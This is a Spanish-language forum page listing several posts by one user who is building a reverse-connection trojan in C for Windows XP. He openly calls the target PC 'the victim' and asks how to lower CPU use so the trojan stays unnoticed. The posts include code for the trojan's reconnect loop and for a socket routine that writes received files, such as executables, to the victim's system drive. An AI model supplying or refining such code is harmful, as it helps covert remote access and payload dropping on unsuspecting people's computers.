Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - luzzzifer

#1
Hola a todos:
       Estoy contento, he logrado solucionar el inconveniente y lo contaré para que no se topen con el mismo problema.
       Lo que hice fue sobreescribir el cero de cadena, osea el caracter nulo de la variable dir, una vez que la terminé de armar con las dos concatenaciones. Antes también había probado con lo mismo, pero le asigné el cero en un elemento del array equivocado, probé millones de cosas y esa ya la había descartado, hasta que lo repetí y salió, además, yo daba por hecho que se encontraba ese caracter nulo al final de los caracteres, es decir que si el array dir tiene 20 dimensiones y sólo le asignamos "hola", hay que aplicar dir[5]=0;    y eso también se logra asiendo dir[strlen(dir)-1]=0;    como es en mi caso, en el que no sé hasta qué dimensión habrá caracteres.

       Bueno hemos aprendido que cuando armamos "a mano" una cadena concatenando otras, debemos sobreescribir el caracter nulo..   :laugh: :laugh::laugh:

       Muchas gracias LittleHorse por la atención y por los planteos que me realizaste ;-)   Saludos!!!
#2
Hola LittleHorse:
    Muchas gracias por la antencion, hago un breve explicacion de la variable dir, esta primero le asigno el disco (C: o D: etc), después, a eso, le concateno con strcat() el nombre del fichero junto con la barra invertida, ej "\fichero.jpg". Ese contenido estaría en la variable cadena, cuyo contenido varía dos veces, primero le asigno el tamaño( cadena=Split(bytes, '#', 0); )y después le asigno el nombre del fichero( cadena=Split(bytes, '#', 1); ). Ese último valor se lo concateno a dir. Por lo que quedaría "X:\fichero.jpg".
   
    Estuve buscando algo referido con failbit ya que no sabía de que se trataba, e hice la prueba con badbit y lo establece a 0, failbit 1, lo que quiere decir que un error sobre la cadena ha ocurrido.
    Para mi, despues de concatenar 2 veces sobre dir, la función no ve esa variable como una cadena. Probé con declarar una variable e inicializarla inline ( char[25] path="C:\\fichero.jpg") y a eso si me lo toma, pero cuando quiero armar "a mano" esa cadena no funciona.

     He hecho la prueba de utilizar un bucle para imprimir el contenido de dir ya concatenado y el de path, que es inicializado inline, y en el elemento final de path me marca como que tiene guardado el contenido 'S' .... ?¿? ...cosa que con dir no pasa... será de String?¿  ;D.

     También hice la burrada de agregarle al final del array dir la 'S' a mano y obvio que no funcionó jeje... y es una lástima porque todos los ejemplos que encuentro por internet utilizar a .open("C:\\fichero"...), es decir nadie le pasa como parámetro una variable como es mi caso.

Muchas gracias por la atención....Saludoss!!
#3
Hola a todos:
     Ante todo buen día, hoy traigo una duda que quisiera que me la despejen,  ;D , resulta que estoy programando una función en C que reciba ficheros a través de una socket TCP para Windows XP SP2, y estoy utilizando la clase fstream:

unsigned long Recvfile(int *dsock, char buffer[255])//dsock puntero al socket creado
{
std::string cadena;

char bytes[1024],*a=getenv("SystemDrive"), dir[20]={0};

int len=0,i, llega=0;

std::ofstream archivo;

for(i=0 ; i<=255 ; i++)          //Esto lo que hace es quitar el caracter "!" del
{                                          //principio del array buffer es decir
bytes[i]=buffer[i+1];       //buffer="!100#nombre"  ,  quedaria
if(buffer[i]==0){break;}  //bytes="100#nombre"
}                                            //(no se me ocurrio otra forma de hacerlo)
                                                      //luego bytes se reutilizaria para almacenar los
                                                     //datos que llegan (corregirme si este modo no
                                                     //es correcto..)

cadena=Split(bytes, '#', 0);

i=atoi(cadena.c_str());  //esta variable i contendra el tamaño del archivo que llegara

        cadena=Split(bytes, '#', 1);

strcat(dir,a);
// dir[2]='\\';

        strcat(dir,cadena.c_str());

archivo.open(dir,std::ios::binary);

while(llega!=i)
{

// if(len==-1){Desconexion(*dsock);break;}  la funcion Desconexion no viene al caso

len=recv(*dsock, bytes, sizeof(bytes), 0);

llega+=len;

archivo.write(bytes, len);

}

archivo.close();

return llega;
}

//Esta es la funcion Split para que la vean por las dudas que tenga errores

std::string Split(std::string buffer, char caracter, int parte)
{
std::string cad1, cad2;
int i;
i=buffer.find(caracter);

cad1=buffer.substr(0,i);
cad2=buffer.substr(i+1,buffer.length());

if(parte==0){return cad1.c_str();}else{return cad2.c_str();}
}




       Bueno como verán la idea es que se cree en el disco donde está instalado el sistema operativo. Bien, el problema esta en el primer parámeto que le paso a .open(), que sería el path del archivo a crear, no se cómo hacer para que la función me acepte el path que le estoy pasando con la variable dir, he probado de otras formas tmb, con punteros o con las clase string haciendo un .c_str() pero no hay caso, la única forma en la que anda y envía ficheros sin problemas es cuando le paso el parámetro a mano, es decir "C:\\fichero.exe" por ej, lo que no me sirve.
     
      Además, del otro lado (el programa que envía) tengo el mismo problema, sólo me abre el archivo cuando se la paso a mano y nunca pude lograrlo con una variable. El código siempre compila bien, sin errores pero no funciona y la función me pide un const char *, intenté varias veces ya pero me he quedado trabado ahi...

     Desde ya muchas gracias y cualquier corrección-crítica constructiva que tengan para hacerme la aceptaré como es debido ya que si se puede mejorar u optimizar código adelante!...
#4
holas!...si, ahí esta mal porque sería operador de asignación creo, pero en el código completo lo tengo correcto. Con lo del post mil disculpas como dije anteriormente es mi primer post en este foro  ;D.

  Cuando el compilador llega a esa línea el uso de CPU sube de un 7% a un 52%. Mi PC es un Core2 2.53GHz con 1 gb de RAM.
  Cuando cierro el programa baja a un 7% o 0%...  :-\

Muchas gracias por la atención..

Lh: No hagas doble post, utiliza el botón modificar

Bueno ya le he encontrado una solución, la cual voy a postearla por si alguien se topa con el mismo error. Lo que hice fue en vez de usar

while(n==-1);
{
Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
}


utilicé

while(1)
{
Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
if(n!=-1){break;}
}


y así el uso de CPU no se va por las nubes..

Saludos!
#5
Hola a todos:
     Es mi primer post en este magnífico foro del cual tanto aprendi, y que a medida que vaya aprendiendo iré compartiendo ese conocimiento con uds. Bueno, al grano.
     Mi problema es el siguiente: estoy programando en C un troyano de conexión inversa para Win XP 32 bits SP 2, el server estaría en mi PC y el cliente en la víctima. La cuestión es que cuando en el cliente llamaría a connect(...) y este no conectaría por tener yo la PC apagada por ejemplo, quisiera que vuelva a llamar a connect() hasta que conecte. Aquí está el bucle del que les hablo.
    No se cómo hacer para que "No consuma muchos recursos"

while(n=-1);
{
// Sleep(5000);
n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
}


    Esta parte del código me consume el %50 de uso del CPU, lo sé por el adm de tareas, y además, cuando conecta, un bucle del mismo tipo pero con recv(), también me consume lo mismo. ¿Cómo hacer para que en la PC de mi víctima no se eleve tanto el uso del CPU y mi troyano pase más desapercibido?

Cuando termine de programar cliente y server voy a postear el código así me corrigen y me ayudan a optimizarlo porque de seguro debe tener muchos errores  :laugh:

Desde ya muchas gracias!